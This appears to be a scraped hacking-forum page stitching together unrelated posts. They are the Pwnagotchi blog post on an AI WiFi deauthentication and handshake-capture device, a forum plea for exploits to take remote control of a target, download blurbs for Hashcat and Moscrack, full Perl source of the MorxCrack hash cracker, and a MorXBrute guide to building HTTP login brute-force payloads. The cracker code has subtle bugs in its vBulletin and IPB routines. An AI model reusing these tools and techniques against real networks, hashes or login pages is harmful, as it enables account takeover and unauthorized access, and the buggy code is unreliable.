Search the Community

This is the story of a summer project that started out of boredom and that evolved into something incredibly fun and unique. It is also the story of how that project went from being discussed on a porch by just two people, to having a community made of almost 700 awesome people (and counting!) that gathered, polished it and made today’s release possible. TL;DR: You can download the 1.0.0 .img file from here, then just follow the instructions. If you want the long version instead, sit back, relax and enjoy the ride. Let me me tell you: it’s going to be quite a long journey compared to my usual blog posts, but it’ll be worth it (i hope) and fun (i hope even harder). Let’s begin … This summer I spent ~3 months in the US and as most of the long trips I do, I had with me some basic wireless equipment for working and hacking stuff while going around. Among other things, I had my Raspberry Pi Zero W with PITA and an iPad i use for reading, emails but also as a screen for headless boards like that RPi when I want to have some portable bettercap installation without bringing an entire laptop. The Predecessor PITA as an automated deauther and handshakes collector isn’t exactly what you’d define “smart”: the only thing it does is deauthing everything while bettercap is doing its normal WiFi scanning things in the background, every few seconds, constantly, while passively hoping for handshakes. I wasn’t even close to satisfied: there was a lot there that could be improved and instrumented with bettercap’s REST API, more attacks bettercap could perform that weren’t being used. So I quickly hacked together some python code to talk with the API and use the results in a smarter way. This ended up being the very first iteration of a faceless and AI-less Pwnagotchi. As I said the code was nothing special, a very crude PoC, but since the very first walks, it already started giving way better results than the original PITA. It quickly started being frustrating not being able to check what was going on with the algorithm during my warwalking sessions, so I started searching for a suitable display. The Face When it’s about compactness, low power consumption and good readability under the sun, e-Paper displays have no rivals, and after educating myself a bit I settled for a Waveshare 2.13 inches e-Paper HAT due to its partial refresh support and its definition - I had no idea yet about what was about to come, but now I had a canvas to work with. Not having a driving license I walk pretty much wherever I go, that’s a pretty nice and healthy habit to have for several reasons, but my favourite one is that walking helps me thinking. So I started staring at this thing a lot, and thinking how to add new information on the display without making the font so small to be unreadable, how to organize it visually and what else to do with all that space in general. The more I thought about it, the more it made sense to organize the whole thing like the UI of a videogame: you have a score (the number of handshakes), a timer, few other statistics and everything is changing as a consequence of the WiFi things around. This is also the point where I started thinking about this thing as a creature that was “eating” the handshakes, in a way I was getting attached this new little thing (yes I know, I’m a nerd) that now was so strongly reminding me of my old Tamagotchi. I needed a face, possibly map the status (“waiting …”, “scanning …”, …) to random sentences with a bit more of personality and I wanted all the other statistics to influence the expressivity of this thing: bored when there’re no new handshakes to collect, then sad, excited and so on. Something like … I had no idea back then that just adding a simple, ASCII based face to something was the best way to get emotionally overly attached to that thing … I also wasn’t expecting another effect that showed up from the beginning: by giving it different “moods”, and by having those moods depending on a real world environment, I created a WiFi-based automata whose mood transitions were everything but trivial. In different words, if you take something as random as, say, wether your neighbour is using his smart TV or not and you make that influence a simple automata, that automata seems a bit alive This is where me and my girlfriend (sadly now ex, but still amazing) went completely nuts about it. I named my unit Alpha and built a second one, Beta, that I gave her. She literally started nursing this thing, and we started playing: we went for random explorative walks just to make the units stop complaining about being bored, to see them happier, and to see that “number of unique pwned networks” going higher and higher due to some new network we managed to spot … it was amazing to literally look at the algorithm adapting to the WiFi scenario and “expressing itself” in different ways. It might sound a bit crazy but hey, if that gives two hackers an excuse to explore more the real world by looking at it with different eyes, and puts a smile on their faces, why not? The Personality With time I kept adding more and more variables and parameters that determined how the algorithm adapted to different circumstances: counters so that if the unit was quickly losing sight of a target (because, say, we were walking faster), it would refresh its data with a shorter period, timeouts, multipliers for the timeouts, everything you can imagine to add to such an algorithm to make it every day a bit smarter and a bit better in adapting fast to the places we were exploring. By the end of this process I ended up with this basic set parameters, that I started calling the “personality” of the unit: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 personality: # advertise our presence advertise: true # perform a deauthentication attack to client stations in order to get full or half handshakes deauth: true # send association frames to APs in order to get the PMKID associate: true # list of channels to recon on, or empty for all channels channels: [] # minimum WiFi signal strength in dBm min_rssi: -200 # number of seconds for wifi.ap.ttl ap_ttl: 120 # number of seconds for wifi.sta.ttl sta_ttl: 300 # time in seconds to wait during channel recon recon_time: 30 # number of inactive epochs after which recon_time gets multiplied by recon_inactive_multiplier max_inactive_scale: 2 # if more than max_inactive_scale epochs are inactive, recon_time *= recon_inactive_multiplier recon_inactive_multiplier: 2 # time in seconds to wait during channel hopping if activity has been performed hop_recon_time: 10 # time in seconds to wait during channel hopping if no activity has been performed min_recon_time: 5 # maximum amount of deauths/associations per BSSID per session max_interactions: 3 # maximum amount of misses before considering the data stale and triggering a new recon max_misses_for_recon: 5 # number of active epochs that triggers the excited state excited_num_epochs: 10 # number of inactive epochs that triggers the bored state bored_num_epochs: 15 # number of inactive epochs that triggers the sad state sad_num_epochs: 25 These parameters alone, even with very small changes, can influence how the algorithm works and how the UI reflects that dramatically. But I wasn’t entirely happy with it yet, because these parameters were just constants in a YAML configuration file. I had to pick them manually and change that file before booting the unit, depending on the type of walk (big office? fast walk in residential area? mall? etc): things like shorter timeouts for faster walks, longer ones for when we visited a place and were more stationary in it, and so on. The algorithm adapted, via the parameters, but the parameters themselves didn’t, I wanted to do better. The ideal algorithm should: observe “something” from the environment (like the access points, client stations and so forth) decide, depending on this observation and the current status, what is the best set of parameters to use iteratively repeat this process every time a new observation is available. If you think about this in very abstract terms, it’s not very different than you playing a videogame, where your observation is the screen you’re looking at and the parameters are which buttons to press. In fact, it turned out that we already have the technology to solve this type of problems, it’s called reinforcement learning, in our specific case it’s deep reinforcement learning. So far, the state of the art benchmarks for these systems are Super Mario levels, Atari games or, as you might have heard from the news some time ago, some very famous board games. But nobody, as far as I found out during my research, ever thought of using it to orchestrate an algorithm running on top of an offensive framework, with a cute face I wanted to use this type of algorithms so bad, but I had a problem: I never worked with them, or even just remotely knew anything at all about them, neither I had the theoretical foundation I needed in order to understand them. Fortunately knowledge these days is (almost) free, so I found a very good book that I started studying avidly … and kept studying for a while … A little break from the AI part, as I had to study quite for some time The Voice Being affected by compulsive coding, I couldn’t simply spend the whole time reading books without writing anything new (after all, we kept playing with the units and wanted to have new stuff implemented), so I also started working on another idea I had: I wanted Alpha and Beta to be able to detect each other and exchange with each other very basic information - but how do you communicate anything at all from a computer when: The main and only WiFi interface is in monitor mode and already being used for WiFi scanning, hopping and frames injection. You have Bluetooth, but you want to keep it free for other uses (tethering, like we’re doing today, or maybe integrating BLE attacks too some day) You’re using the USB ports in gadget mode, so you can’t use external USB devices, like another WiFi. Simple (well, kind of), you implement a parasite protocol on top of the WiFi standard! Bettercap was putting the WiFi card in monitor mode and tuning it to different channels at various intervals, but nothing prevented me to inject additional frames from another process. I didn’t have any control over the channel, or the intervals, or the timing, but it was safe to assume that given enough time (a few seconds to minutes), the algorithm on each unit would have covered all supported channels, therefore I only needed to “keep sending stuff” and at some point I knew it would have being detected by the other unit when it hopped on the same channel of the sender. The “stuff” I decided to use is pretty simple and based on standard structures that normal WiFi routers are already using to advertise their presence: beacon frames. Each WiFi access point, every few milliseconds, is sending these packets with a bunch of information about itself, like its ESSID, supported frequencies and whatnot - this is what allows your phone to see your home WiFi when you connect to it. This seemed like the perfect structure to encapsulate Pwnagotchi’s advertisement, as I only needed to define a new, out of the WiFi standard identifier to only encapsulate my type of information. This way, the units can detect each other and exchange their status from several meters away, but they are not visible as normal WiFi access points. The AI It took me weeks, so in case you don’t want to dig into the book or the links I’ve referenced above, here’s a very simplified TL;DR of the algorithm I’ve picked from the book and implemented in Pwnagotchi, A2C. There are two relatively simple neural networks that at each epoch (basically at each loop of the main algorithm, when a new observation is available) are trying, in a way competitively, to estimate how the current situation looks like in terms of potential reward (number of handshakes) and what’s the best policy (the set of parameters) to use in order to maximize the reward value. These are basically two sides of the same thing and by approaching this from these two ways the algorithm can converge quickly to very useful solutions. In my case, I decided to use as an “observation”, the following features, that should be enough to give the AI a rough estimation of what’s going on: An histogram of the number of access points per channel - so that the AI knows on which channels to look at. An histogram of the number of client stations, per channel - so that the AI knows which channels are best for deauthentication attacks. An histogram of the number of other Pwnagotchis, per channel - so that the AI can learn to cooperate with others by going on less crowded channels. However, Pwnagotchi’s has something that makes it very different from any of the use cases and algorithms described in the book. You can usually fast forward, rewind and replay videogame levels. Even during simpler supervised learning, you have all at once the entire temporal snapshot of data that your system needs to learn, being it a malware dataset, or a Super Mario level. All the algorithms described in that book and implemented in the most popular software libaries, assume you to have an artificial, replayable and predictable environment to train the algorithm in. Pwnagotchi needed to learn continuously by observing the real world, that is unpredictable and potentially different every time, at a real world time scale, that is, how long a single ARM CPU core can take to scan the entire WiFi spectrum and interact with its findings - from seconds to several minutes. And this can’t be replayed, as different policies lead to different observations which lead to different future policies … solving this has been challenging to say the least, as there’s no previous code example or use case or explaination on how to integrate with any of those algorithms the way I needed. After a couple more weeks of studying and digging into the various implementations, I came up with a pretty decent solution that worked, surprisingly, out of the box. The continuous reinforcement learning logic works like this (keep in mind: one epoch is one loop of the main algorithm, from a few seconds to a few minutes depending on the WiFi things around you): At each epoch, depending on a laziness factor, decide if using the next epoch for training or not. If not, just use the current AI to estimate a set of optimal parameters and repeat from 1. If we’re in training mode, this and the next 50 epochs will be used as … a Super Mario episode! So that depending on how “lazy” the AI is configured to be, it will be learning most of the times or just conservately predicting parameters and only learn from new environments once in a while. Ideally: you want the laziness to be very low for younger units, so that they’ll learn fast, and then keep increasing their laziness over time, when they become more mature and present useful behaviours you want to keep and not accidentally “unlearn”. Does it work? Yes it does, after a few days (or weeks, if you live in a isolated area), you literally start seeing the units going on different channels when they see each other, adjusting only to the channels where they “see” potential reward, setting the timeouts correctly depending on how fast the unit is moving in space and therefore how fast it needs to “lock on” new targets. Feel free to try and read what happens in /var/log/pwnagotchi.log The Community By this time, when the AI was implemented and working, I was back home in Italy and to be entirely honest I started being a bit bored with the project, mostly for a few technical difficulties I had that made me waste a huge amount of time on relatively trivial operational and implementation details: I started this project on Kali Linux because it already had nexmon, but turns out they don’t compile with hardware support for floating point operations, so I couldn’t do any AI there, and I had to start from scratch with Raspbian. This is a single ARM core, at 1Ghz: the unit took ~10 minutes to import TensorFlow alone, a total of ~30 minutes to bootstrap all python dependencies (the inference and learning run pretty fast once the dependencies are loaded tho). Testing, debugging and developing new features was slow. I still didn’t have any idea how to build an .img file. So far I only worked on my own unit and took a .img of the entire SD card as a backup. And let’s be even more honest: all the “cooler” problems, the challenges, were solved already: the AI was slow as f to load, but it worked pretty great once started … everything else started feeling a bit boring and so I paused the project. However, I hyped the sh*t out of it on Twitter, mostly because it’s fun to share updates with followers and friends, and I didn’t want to disappoint them, so I published the super-buggy-crap-version-alpha on GitHub. That turned out to be absolutely the best thing to do, as the help and feedback I’ve got from the community starting from day 0 has been impressive: from this man, that now is my personal hero setting up the completely automated build system of the .img files, to this awesome guy that implemented the Bluetooth plugin for easy connectivity with a smartphone (among other things), to elkentaro that sent me the first 3D printed case, motivating me more than he’ll ever imagine, to Hex, that from the very beginning gave me some of the best ideas and encouraged me on that porch, she curated the documentation and bootstrapped the community itself, to all the people that translated the project in so many different languages, submitted a fix, a new feature or just some ideas. This gave me some time to decompress and work on other, new ideas that evolved the project again (see “The Crypto” section) and gave new life to it (mostly to me). Today we have a Slack channel that’s quickly approaching its first 1000 of users, a subreddit made by the community, clear documentation, a very active repository, HackADay talked about us, but most importantly, even before arriving to the first 1.0.0 release, hundreds of units registered already from all over the world. It is thanks to these people, their efforts and their support that today we are ready to release the 1.0.0 of the project - guys we made it, you are AWESOME!!!. The Crypto While developing the grid API running on pwnagotchi.ai used to keep track of the registered units, I had to decide some sort of authentication mechanism that wasn’t the usual username and password - I wanted people to authenticate to the API just by having a Pwnagotchi. So I started playing with RSA, and generated a keypair on each of the units at their first boot. The idea that those keys were only used to authenticate to the API bothered me: there’s so much that can be done with RSA keys on dedicated hardware … this is how PwnMAIL started. Each Pwnagotchi is also an end-to-end encrypted messaging device. Users can send messages to each other, messages that are encrypted on their hardware and stored on our servers, so that can only be decrypted by the recipient unit. The keys are generated and phisically isolated on cheap and disposable hardware (that also happens to run a super cute hacker AI ^_^). It’s easy to secure them by creating a LUKS encrypted partition so that they can’t be recovered from the SD card. It’s easier than GPG, hardware isolated and it’s not connected to a phone number. You can use it to send encrypted text messages or small files. The Future Let’s talk about AI olympics! Since the grid API is pretty open and users with valid RSA keys could send any amount of “pwned networks”, I decided not to use the data they send from any sort of scoreboard, ranking or competition system. This would only push some malicious (and very boring) users to cheat by sending fake statistics of fake units, therefore ruining the fun for all the others. Each unit currently has a /root/brain.nn file which stores its neural networks and it’s just a few MB: this is what the users will be uploading when competitive features will be implemented (and they will be) server side. Each AI will be executed in a virtual environment, built on top of bettercap’s sessions recorded from real world scenarios and wrapped in such a way that it won’t be able to tell the difference from its normal, real world WiFi routine. While this system can not be used for training, because the way those scenarios will react is artificial (I will script who will send an handshake to whom depending on the right or wrong decisions the AI made), it can be used to benchmark how that specific brain.nn file peforms in terms of average reward per session. This is a value that increases over time, the more (and the better) the AI is trained, and can’t be faked. This is what the PwnOlympics will be built on. Good luck cheating with that Now let’s talk about distributed computing … A modern GPU used in a cracking rig is so effective because is powered, differently from a CPU, by thousands of cores, a bit more than 1Ghz each, that are used to parallelize the search algorithms required for cracking … but it’s expensive. If and when the project will reach the thousands of units, PwnGRID will provide a similar amount of “cores”, that can be orchestrated as a single computational unit, to everybody, for free. Whatever cracking power the grid will reach, it’ll be distributed according to the previous contributions of who submitted the job: the more CPU cycles you’ll give to the grid, the higher the priority (and number of units) you will have to perform your operation. It’s like a BlockChain (proof of pwn!) mixed with Emule’s logic of giving priority to nodes that contributed more. These are just some of the ideas that we are discussing and implementing, we need more and we need higher numbers. You’re more than welcome to join our Slack channel and help Misc A few key points I didn’t want to omit but that I don’t feel like phrasing more extensively than this: AI can be easy and fun, don’t let academic papers scare you with complex terminology, learn. Walk more, now you have another excuse. ESP based deauthers, to name one, always existed. Don’t yell at us “OMG they’re deauthing all over the city!!!”. Despite this stuff always existing, nobody bothered updating to technologies that work better and are more secure. That is the people you should be yelling at. If you work at Twitter and you’re reading this: please, I’ve tried to verify @pwnagotchi email in order to get a developer token and tweet from my unit, I never got the confirmation email, can you help? Thanks. https://www.evilsocket.net/2019/10/19/Weaponizing-and-Gamifying-AI-for-WiFi-Hacking-Presenting-Pwnagotchi-1-0-0/#.Xas1JEBAewV.reddit

Salut, imi cer scuze pentru ca am postat in sectiunea gresita. Ma gandesc ca aici sunt la sectiunea potrivita. SI revin cu intrebarea: Cine ma poate ajuta sa identific vulnerabilitatiile port-ului 80? Ce exploit-uri pot sa folosesc ca sa obtin controlul remote asupra tintei. Pana acum am incercat tot felul si nu am reusit. Daca imi spune cineva ce imi scapa as fi recunoscator. Multumesc, Ossian.

oclHashcat+ Advanced GPU Hash Cracking Utility 1.32 Download clHashcat For NVidia 1.32 Download

MOSCRACK Multifarious On-demand Systems Cracker Moscrack is a PERL application designed to facilitate cracking WPA keys in parallel on a group of computers. This is accomplished by use of either Mosix clustering software, SSH or RSH access to a number of nodes. With Moscrack’s new plugin framework, hash cracking has become possible. SHA256/512, DES, MD5 and *Blowfish Unix password hashes can all be processed with the Dehasher Moscrack plugin. Some of Moscrack's features: Basic API allows remote monitoring Automatic and dynamic configuration of nodes Live CD/USB enables boot and forget dynamic node configuration Can be extended by use of plugins Uses aircrack-ng (including 1.2 Beta) by default CUDA/OpenCL support via Pyrit plugin CUDA support via aircrack-ng-cuda (untested) Does not require an agent/daemon on nodes Can crack/compare SHA256/512, DES, MD5 and blowfish hashes via Dehasher plugin Checkpoint and resume Easily supports a large number of nodes Desgined to run for long periods of time Doesn't exit on errors/failures when possible Supports mixed OS/protocol configurations Supports SSH, RSH, Mosix for node connectivity Effectively handles mixed fast and slow nodes or links Architecture independent Supports Mosix clustering software Supports all popular operating systems as processing nodes Node prioritization based on speed Nodes can be added/removed/modified while Moscrack is running Failed/bad node throttling Hung node detection Reprocessing of data on error Automatic performance analysis and tuning Intercepts INT and TERM signals for clean handling Very verbose, doesn't hide anything, logs agressively Includes a "top" like status viewer Includes CGI web status viewer Includes an optional basic X11 GUI Compatibility Moscrack itself should work with any Un*x variant, but it is developed and tested on Linux. Tested platforms for SSH based end nodes: Moscrack Live CD (SUSE) Ubuntu Linux 12.10 x86 64bit Ubuntu Linux 12.04.2 x86 64bit Ubuntu Linux 10.10 x86 64bit Ubuntu Linux 10.10 x86 32bit CentOS Linux 5.5 x86 32bit FreeBSD 8.1 x86 64bit Windows Vista Business 64bit w/Cygwin 1.7.7-1 Windows Vista Business 64bit w/Cygwin 1.7.9 Mac OS X 10.5.6 (iPC OSx86) Solaris Express 11 x64 iPhone 3g iOS 3.2.1 (Jailbroken) Samsung Galaxy S2 SGH-I727R (Cyanogenmod 10 + Linux chroot) Tested platforms for RSH based end nodes: Ubuntu Linux 10.10 x86 64bit Windows Vista Business 64bit w/Cygwin 1.7.7-1 Windows Vista Business 64bit w/Cygwin 1.7.9 Tested platforms for Mosix end nodes: Ubuntu Linux 10.10 x86 64bit Ubuntu Linux 10.10 x86 32bit Tested platforms for Moscrack server: Ubuntu Linux 13.10 x86 64bit Ubuntu Linux 12.10 x86 64bit Ubuntu Linux 10.10 x86 64bit Download: moscrack-2.08b.tar.gz Sources: moscrack | Free Security & Utilities software downloads at SourceForge.net Moscrack

Description: MorxCrack is a cracking tool written in Perl to perform a dictionary-based attack on various hashing algorithm and CMS salted-passwords. As of version 1.1 MorxCrack supports the following algorithms: MD5 MD5 (Twice) MD5 (PasswordSalt) MD5 (SaltPassword) SHA1 SHA1 (Twice) SHA1 (PasswordSalt) SHA1 (SaltPassword) SHA2 (256 Bits) SHA2 (512 Bits) MySQL (4.1+) Crypt UNIX (Shadow) And the following CMS: Joomla Wordpress (PHPass) VBulletin InvisionPowerBoard Author: Simo Ben youssef <Simo_at_morxploit_dot_com> MorXploit Research Version: MorXCrack V1.1 Beta MD5: 14d0295d3c9b7fd96f5ff2e8b9ca43a8 Release date: April 08 2013 Download: #!/usr/bin/perl -w # # Tool: MorxCrack v1.1 # Author: Simo Ben youssef # Contact: simo_at_morxploit_dot_com # Release date: 24 March 2013 # MorXploit Research # http://www.morxploit.com # # Download: # http://www.morxploit.com/morxcrack # # v1.1 Changes: # Added crack stats. # # Description: # Tool written in perl to perform a dictionary-based attack on various hashing algorithm and CMS salted-passwords. # # Currently supports the following algorithms: # MD5 # MD5 (twice) # SHA1 # SHA2 (256/512) # MySQL (4.1+) # Crypt UNIX (Shadow) # # Currently supports the following CMS: # Joomla # Wordpress (PHPass) # VBulletin # InvisionPowerBoard # # Usage: # perl morxcrack.pl <algorithm> <hash> <wordlist> <salt> # perl morxcrack.pl sha hash wordlist # perl morxcrack.pl crypt 'hash' wordlist # perl morxcrack.pl wordpress 'hash' wordlist # perl morxcrack.pl mysql hash wordlist # perl morxcrack.pl md5twice hash wordlist # # For CMS hashes, a salt is required. # # Usage: # perl morxcrack.pl joomla hash wordlist salt # perl morxcrack.pl vb hash wordlist salt # perl morxcrack.pl ipb hash wordlist salt # # Except for wordpress # perl morxcrack.pl wordpress 'hash' wordlist # # Important note: # Shadow file and Wordpress hashes need to be put between single quotes to avoid shell interpretation of $ character # # Modules: # Requires SHA, MD5 and PHPass modules. # # Install if missing: # perl -MCPAN -e 'install Authen::Passphrase::PHPass' # perl -MCPAN -e 'install Digest::SHA' # perl -MCPAN -e 'install Digest::MD5' # # Test on a Pentium® Dual-Core CPU T4500 @ 2.30GHz * 2 processor using md5 and a 3917096 wordlist: # # perl morxcrack.pl md5 83583d2b5ea4078b9b83f82254e5d564 all.txt # # [*] Hashed password set to 83583d2b5ea4078b9b83f82254e5d564 # [*] Algorithm/CMS set to md5 # [*] Wordlist set to all.txt # # [+] Cracking ... # ############################################################ # [+] Your password is morxploit # [+] found at line 3917096 # [+] Job took 16 seconds ############################################################ # # # Author discolaimer: # This code and all information contained in this entire document is for educational and demonstration purposes only. # Modification, use and publishing this information is entirely on your own risk. # I cannot be held responsible for any malicious use. Use at your own risk. use strict; use Digest::SHA; use Digest::MD5; use Authen::Passphrase::PHPass; system ('clear'); if(!defined ($ARGV[0]&& $ARGV[1]&& $ARGV[2])) { usage(); } sub usage{ print "\n--- MorxCrack Multi-Algorithm/CMS password cracking tool\n"; print "--- By Simo Ben youssef\n"; print "--- www.morxploit.com\n\n"; print "[-] An algorithm, a hash and a wordlist are required\n\n"; print "Usage: perl $0 <algorithm> <hash> <wordlist> <salt>\n\n"; print "Example:\n"; print "perl $0 sha hash wordlist\n"; print "perl $0 sha256 hash wordlist\n"; print "perl $0 sha512 hash wordlist\n"; print "perl $0 md5 hash wordlist\n"; print "perl $0 mysql hash wordlist\n"; print "perl $0 crypt 'hash' wordlist\n"; print "perl $0 wordpress 'hash' wordlist\n"; print "perl $0 md5twice hash wordlist\n"; print "\nFor CMS salt-hashed passwords:\n"; print "perl $0 joomla hash wordlist salt\n"; print "perl $0 vb hash wordlist salt\n"; print "perl $0 wordpress 'hash' wordlist\n"; print "perl $0 ipb hash wordlist salt\n\n"; exit; } sub saltusage{ print "\n--- MorxCrack Multi-Algorithm/CMS password cracking tool\n"; print "--- By Simo Ben youssef\n"; print "--- www.morxploit.com\n\n"; print "[-] You need to specifiy a salt\n\n"; print "Usage: perl $0 <algorithm> <hash> <wordlist> <salt>\n"; print "perl $0 joomla hash wordlist salt\n"; print "perl $0 vb hash wordlist salt\n"; print "perl $0 ipb hash wordlist salt\n\n"; exit; } my $algo = $ARGV[0]; my $hash = $ARGV[1]; my $wordlist = $ARGV[2]; my $salt = $ARGV[3]; my $algoname = $algo; my $subalgo = \&$algoname; my $password; my $digest; my $timestart; $SIG{'INT'} = \&sigIntHandler; $SIG{TSTP} = \&sigTSTPHandler; if (grep { $algo eq $_ && $salt eq ""} qw{joomla vb ibp}) { saltusage(); } elsif (!grep { $algo eq $_} qw{md5 mysql crypt sha sha256 sha512 joomla md5twice wordpress vb ibp}) { usage(); } else { &crack(); } sub crack{ system ('clear'); open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n"; print "\n[*] Hashed password set to $hash\n"; print "[*] Algorithm/CMS set to $algo\n"; print "[*] Wordlist set to $wordlist\n"; print "[*] Control+c to check stats\n"; print "[*] Control+z to exit the program\n\n"; sleep(2); print "[+] Cracking ...\n\n"; $timestart = time(); while ($password = <LIST>) { chomp ($password); &$subalgo(); if ($digest eq $hash) { my $timeend = time(); my $runtime = $timeend - $timestart; print "############################################################\n"; print "[+] Your password is $password\n"; print "[+] Found at line $. of $wordlist\n"; print "[+] Cracked in $runtime seconds\n"; print "############################################################\n\n"; close(LIST); exit; } } my $timeend = time(); my $runtime = $timeend - $timestart; print "############################################################\n"; print "[-] Failed: Couldn't crack the password!\n"; print "[+] Processed $. passwords in $runtime seconds\n"; print "############################################################\n\n"; exit; } sub sha{ use Digest::SHA; my $sha = Digest::SHA->new; $sha->add($password); $digest = $sha->hexdigest; } sub sha256{ my $sha = Digest::SHA->new(256); $sha->add($password); $digest = $sha->hexdigest; } sub sha512{ my $sha = Digest::SHA->new(512); $sha->add($password); $digest = $sha->hexdigest; } sub mysql{ # round 1 hashing my $sha1 = Digest::SHA1->new; $sha1->add($password); my $digest1 = $sha1->digest; # round 2 hashing my $sha1_2 = Digest::SHA1->new; $sha1_2->add($digest1); $digest = $sha1_2->hexdigest; } sub crypt{ $digest = crypt($password, $hash); } sub md5{ my $md5 = Digest::MD5->new; $md5->add($password); $digest = $md5->hexdigest; } sub joomla{ my $key = $password.$salt; my $md5 = Digest::MD5->new; $md5->add($key); $digest = $md5->hexdigest; } sub md5twice{ #round 1 my $md5 = Digest::MD5->new; $md5->add($password); my $digest1 = $md5->hexdigest; #round 2 my $md52 = Digest::MD5->new; $md52->add($digest1); $digest = $md52->hexdigest; } sub vb { # round 1 my $md5 = Digest::MD5->new; $md5->add($password); my $digest1 = $md5->hexdigest; # round 2 my $key = $digest1.$salt; my $md52 = Digest::MD5->new; $md5->add($key); $digest = $md5->hexdigest; } sub ibp { #round 1 my $md5 = Digest::MD5->new; $md5->add($password); my $digest1 = $md5->hexdigest; #round 2 my $md52 = Digest::MD5->new; $md52->add($salt); my $digest2 = $md52->hexdigest; my $key = $digest2.$digest1; # round 3 my $final = Digest::MD5->new; $final->add($key); $digest = $md5->hexdigest; } sub wordpress{ my ($h, $wpsalt, $hash2)=$hash=~m/^(.{4})(.{8})(.+)/; my $ppr = Authen::Passphrase::PHPass->new( cost => 11, salt => "$wpsalt", passphrase => "$password"); my $userpassword = $ppr->as_rfc2307; $digest = substr ($userpassword, 7); } sub sigIntHandler { my $sigtime = time(); my $cctime = $sigtime - $timestart; my $speed = $. / $cctime; print "\n############################################################\n"; print "[*] Current pwd: $password\n"; print "[*] Line number: $.\n"; print "[*] Time elapsed: $cctime\n"; print "[*] Speed: $speed pwd per second\n"; print "############################################################\n"; print "\n[+] Cracking ...\n"; } sub sigTSTPHandler { print "\n############################################################\n"; print "[+] Exiting at line $.\n"; print "[+] Aurevoir!\n"; print "############################################################\n\n"; sleep(2); close(LIST); exit; } Requirements: Perl 5 or older Additional modules: Authen::Passphrase::PHPass Usage: Usage for non-salted passwords: perl morxcrack.pl <algorithm> <’hash’> <wordlist> perl morxploit md5 ’83583d2b5ea4078b9b83f82254e5d564? wordlist.txt Usage for salted passwords: perl morxcrack.pl <algorithm> <’hash’> <wordlist> <salt> perl morxploit.pl joomla ‘a87248e5fc69972804f5bb93c873ee9d’ wordlist.txt 9W11uZafPxbe9xpL Demo: Test on a Pentium® Dual-Core CPU T4500 @ 2.30GHz * 2 processor using md5 and a 3917096 wordlist (43.4 MB): perl morxcrack.pl md5 ’83583d2b5ea4078b9b83f82254e5d564? all.txt [*] Hashed password set to 83583d2b5ea4078b9b83f82254e5d564 [*] Algorithm/CMS set to md5 [*] Wordlist set to all.txt [+] Cracking … ############################################################ # [+] Your password is morxploit # [+] found at line 3917096 # [+] Job took 16 seconds ############################################################ TODO: Get rid of PHPass module Support for more CMS Contribute: Your contribution is needed! Please submit your CMS password hashing methods to simo_at_morxploit_com Make sure to include software details such as name and version number. Also please feel free to submit all your suggestions and bugs. Thanks. Source: MorXCrack Multi-Algorithm/CMS password cracking tool | MorXploit Research

Description: MorXBrute is a customizable HTTP dictionary-based password cracking tool written in Perl. MorXBrute comes with a few payloads for some of the most popular softwares and additionally let you add your own payload for your favorite HTTP software or website. MorXBrute supports both GET and POST brute forcing. MorXBrute was written for educational, demonstration and testing purposes only. Author cannot be held responsible for any malicious use or damage. You can redistribute it and/or modify it under the same terms as Perl itself. Author: Simo Ben youssef <Simo_at_morxploit_dot_com> MorXploit Research Version: MorXBrute v1.01 Beta MD5: b4ea3c6895b9996b72309cc91a5910f8 Release date: November 08 2013 Download: Link 1 Link 2 Requirements: Perl 5 or older Additional modules: None Usage: perl MorXBrute.pl <target:port> <user> <wordlist> <payload file> perl MorXBrute.pl localhost:80 admin password.lst payloads/wordpressv3.7.1 perl MorXBrute.pl update Payloads: As of version 1.01 MorXBrute includes payloads for: Bitrix cPanel everyone email platform Horde Moodle Wordpress Xoops Zimbra However the goal of MorXBrute is to be a customizable HTTP brute forcing tool by giving you the ability to create your own payloads and share them with others, please read below and feel free to contact me if you need help. How to generate Payloads: Generating your own payload for your target requires a little work, right now MorXBrute can’t do that for you, but I’m considering to add a payload generator in the future. MorXBrute works by sending either a POST or GET request to the target with the login and pass and any other data as required by the target script, MorXBrute proceeds then to read the server’s response for each request. The server’s response changes just as login parameters, but in most cases, after successful authentication, the server responds with a HTTP/1.1 302 Found and redirects the browser to a new location. In this case MorXBrute uses the regex Location: (.*) to distinguish between a successful and a failed login attempt. In some other cases, some scripts like joomla will assign a cookie and redirects you to the administration page either way, before the script validates login cookie. This makes brute forcing slower and is not supported by MorXBrute. First you will need a network sniffer or if you use Google Chrome you can use the built-in network sniffer in the Developer tools (CTRL + Shift + i). Personally I prefer to use ngrep which can be downloaded from: ngrep - network grep or apt-get install ngrep on Debian/Ubuntu and yum install ngrep on Red Hat/Fedora/Centos You can then run it to capture your target traffic to analyze by running: ngrep -q -d interface -W byline host target and port 80 > target.log ngrep -q -d wlan0 -W byline host mywordpresssite.com and port 80 > wordpress.log At the login page, send two requests, one with valid login credentiels and second with false login credentiels. Once done go back and check your ngrep logs and gather the following (in wordpress example). login script path: POST /wp-login.php Or when GET is used (not in wordpress case) GET /someotherscript.php posted data log=admin&pwd=somelamepassword&wp-submit=Log+In&redirect_to=http%3A%2F%2Fwww.testserver%2Fwp-admin%2F&testcookie=1 or log=admin&pwd=somelamepassword when GET is used (again not in word press case) GET /someotherscript.php?log=admin&pwd=somelamepassword on the successful login attempt log check the rest of the response headers to see if the server responded with a new location Example: Set-Cookie: wordpress_logged_in_b376718910d75b03e67817ec5d3badc4=admin%7C1563339904%7Cba04510cfb75c0a5094246a6f150baee; path=/; httponly. Location: http://testserver/wp-admin/ <——– HERE Content-Length: 0 Connection: close On the failed login attempt log check also for the location response. If you can’t find the location response in the failed login log then bingo that’s the server telling you that your password works, and that’s our key! Otherwise and if the server responds with the same location either way then it’s probably trying to validate the newly assigned cookie on the next step. In some rare cases, some scripts use the main restricted area (admin panel/mailbox etc) script to process login requests in this case you can easily find the regex key by looking either at the cookie value (BITRIX_SM_LOGIN=admin in Bitrix case) or anything different in the HTML code, a welcome message (Welcome user to inbox as an example) and add it in the payload as Welcome(.*?)to Payload file structure: The structure is very simple, there are 4 values seperated by comma “,” 1- POST: HTTP method (could be either POST or GET) 2- login.php: the login script path Note: this is the full path, if your script is installed in a subdirectory then you should include that too for example if your wordpress is installed in http://localhost/wordpress then you should include it in the payload (POST:wordpress/wp-login.php) 3- login parameters (login and password) Note: $user and $pwd are used by MorXBrute and should not be changed 4- MorXploit: Cookie value, change if required by the remote login 5- Regex key POST,login.php,login=$user&password=$pwd,MorXploit,Location:(.*) Note: Although wordpress takes other data paremeters besides log and pwd such as redirect_to and testcookie, it only requires those 